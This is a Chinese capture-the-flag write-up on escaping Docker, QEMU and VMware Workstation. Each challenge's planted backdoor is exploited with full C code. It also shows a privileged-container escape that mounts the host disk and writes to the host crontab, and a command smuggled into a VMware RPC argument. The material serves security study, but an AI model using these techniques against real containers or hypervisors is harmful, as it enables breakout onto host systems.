从0到1的虚拟机逃逸三部曲
字数 1673 2025-08-24 16:48:07
虚拟机逃逸技术从入门到实践
一、Docker逃逸技术
1. 漏洞分析
该Docker逃逸题目提供了一个有漏洞的内核模块de.ko,主要漏洞存在于以下关键函数中:
-
初始化函数
init_module:- 在bss段的
hack上分配了一个堆 - 设置
*(hack1 + 8) = 1 - 打印cred结构体的大小信息
- 在bss段的
-
读函数
de_read:- 将
*((_QWORD *)¬e + 1)指针的内容拷贝给用户 - 实际会分配内存
- 将
-
写函数
de_write:- 根据输入的第一个字节进行switch case判断
-1(0xFF): 将用户输入拷贝到(¬e+1)-2(0xFE): 将用户输入拷贝到hack(可覆盖hack+8处的值)-3(0xFD)且(hack+8)==0: 执行后门代码(弹计算器)- 其他情况: 为
(¬e+1)分配指定大小的内存 0: 释放*(¬e+1)
2. 漏洞利用
利用步骤:
- 使用
-2(0xFE)操作清空hack+8的值 - 使用
-3(0xFD)操作触发后门
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int main() {
int fd = open("/proc/de", 2);
char *user_buf = (char *)malloc(0x10 * sizeof(char));
user_buf[0] = '\xfe'; // 清空hack+8的值
write(fd, user_buf, 0x10);
user_buf[0] = '\xfd'; // 触发后门
write(fd, user_buf, 0x1);
return 0;
}
3. 调试方法
- 在虚拟机中加载漏洞内核模块并启动docker:
sudo insmod /home/b/de.ko
sudo docker run -itd --privileged -p 0.0.0.0:23:22 d77241e92fe6 /bin/bash -c "/etc/init.d/ssh start;/bin/bash"
- 使用QEMU调试内核:
qemu-system-x86_64 \
-m 256M \
-kernel ./vmlinuz-4.15.0-54-generic \
-initrd ./initramfs.img \
-append "noexec rdinit=./linuxrc" \
-gdb tcp::1234
- GDB调试命令:
set arch i386:x86-64:intel
target remote localhost:1234
add-symbol-file ./de.ko 0xffffffffc03b0000
4. 非预期解
在--privileged模式下,可以直接挂载宿主机磁盘:
mkdir /host
mount /dev/sda1 /host
然后修改宿主机定时任务:
echo "* * * * * b DISPLAY=:0 /usr/bin/gnome-calculator" >> /host/etc/crontab
二、QEMU逃逸技术
1. 基础知识
QEMU设备模拟通过以下关键函数实现:
rfid_class_init: 设备类初始化函数pci_rfid_realize: 设备实例化函数rfid_mmio_ops: 包含读写操作的结构体rfid_mmio_read: 读操作函数rfid_mmio_write: 写操作函数
2. 漏洞分析
-
读函数
rfid_mmio_read:- 检查
((addr >> 20) & 0xF) != 15 - 比较
input和off_10CC100(固定字符串"wwssadadBABA") - 匹配则执行
system(command)
- 检查
-
写函数
rfid_mmio_write:- 根据
(addr >> 20) & 0xF的值执行不同操作 - 0-5: 设置
input的不同字符(w,s,a,d,A,B) - 6: 向
command写入数据
- 根据
3. 漏洞利用
利用步骤:
- 使用操作6设置
command为"gnome-calculator" - 使用操作0-5设置
input为"wwssadadBABA" - 触发读操作执行命令
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
unsigned char *mmio_mem;
void mmio_write(uint64_t choice, uint64_t idx, uint64_t chr) {
uint64_t addr = ((choice & 0xf) << 20);
addr += ((idx & 0xf) << 16);
*((uint64_t *)(mmio_mem + addr)) = chr;
}
int main() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
// 设置command为"gnome-calculator"
mmio_write(6, 0, 0x67); // g
mmio_write(6, 1, 0x6e); // n
mmio_write(6, 2, 0x6f); // o
mmio_write(6, 3, 0x6d); // m
mmio_write(6, 4, 0x65); // e
mmio_write(6, 5, 0x2d); // -
mmio_write(6, 6, 0x63); // c
mmio_write(6, 7, 0x61); // a
mmio_write(6, 8, 0x6c); // l
mmio_write(6, 9, 0x63); // c
mmio_write(6,10, 0x75); // u
mmio_write(6,11, 0x6c); // l
mmio_write(6,12, 0x61); // a
mmio_write(6,13, 0x74); // t
mmio_write(6,14, 0x6f); // o
mmio_write(6,15, 0x72); // r
// 设置input为"wwssadadBABA"
mmio_write(0, 0, 0); // w
mmio_write(0, 1, 0); // w
mmio_write(1, 2, 0); // s
mmio_write(1, 3, 0); // s
mmio_write(2, 4, 0); // a
mmio_write(3, 5, 0); // d
mmio_write(2, 6, 0); // a
mmio_write(3, 7, 0); // d
mmio_write(5, 8, 0); // B
mmio_write(4, 9, 0); // A
mmio_write(5,10, 0); // B
mmio_write(4,11, 0); // A
return 0;
}
三、VMWare Workstation逃逸
1. 基础知识
VMWare提供两种通信机制:
-
Backdoor接口:
- 使用IN/OUT特权指令
- 用户态即可使用
- 示例代码:
unsigned GetMousePos() { asm { mov eax, 564D5868h mov ecx, 4 mov edx, 5658h in eax, dx ret } }
-
GuestRPC机制:
- 完整的RPC请求序列:
- 打开通道
- 发送命令长度
- 发送命令数据
- 接收回复大小
- 接收回复数据
- 结束接收信号
- 关闭通道
- 完整的RPC请求序列:
2. 漏洞分析
通过对比patch文件发现关键修改:
- 在RPC处理函数中增加了
system()调用后门 - 当
subcommand=0x4(Receive reply data)且满足特定条件时触发
触发条件:
- 发送的命令长度为4的整数倍
- 最终余数为3时触发后门
3. 漏洞利用
利用步骤:
- 使用
info-set设置guestinfo.b并附加要执行的命令 - 使用
info-get获取guestinfo.b触发后门
void exploit() {
char *s1 = "info-set guestinfo.b ;/usr/bin/xcalc &";
char *s2 = "info-get guestinfo.b";
run_cmd(s1);
run_cmd(s2);
}
4. RPC函数实现
关键RPC操作函数:
// 打开通道
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res);
// 设置长度
void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res);
// 发送数据
void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res);
// 接收回复长度
void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res);
// 接收数据
void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res);
// 结束接收
void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res);
// 关闭通道
void channel_close(int cookie1, int cookie2, int channel_num, int *res);
四、总结
-
Docker逃逸:
- 利用有漏洞的内核模块
- 通过覆盖关键标志位触发后门
- 特权模式下可直接挂载宿主机文件系统
-
QEMU逃逸:
- 分析模拟设备的MMIO操作
- 通过正确设置输入触发命令执行
-
VMWare逃逸:
- 利用Backdoor和GuestRPC机制
- 通过特定长度的RPC请求触发后门
- 需要精确控制数据长度和内容
这些技术展示了从虚拟机内部突破到宿主机的多种方法,对于理解虚拟化安全具有重要意义。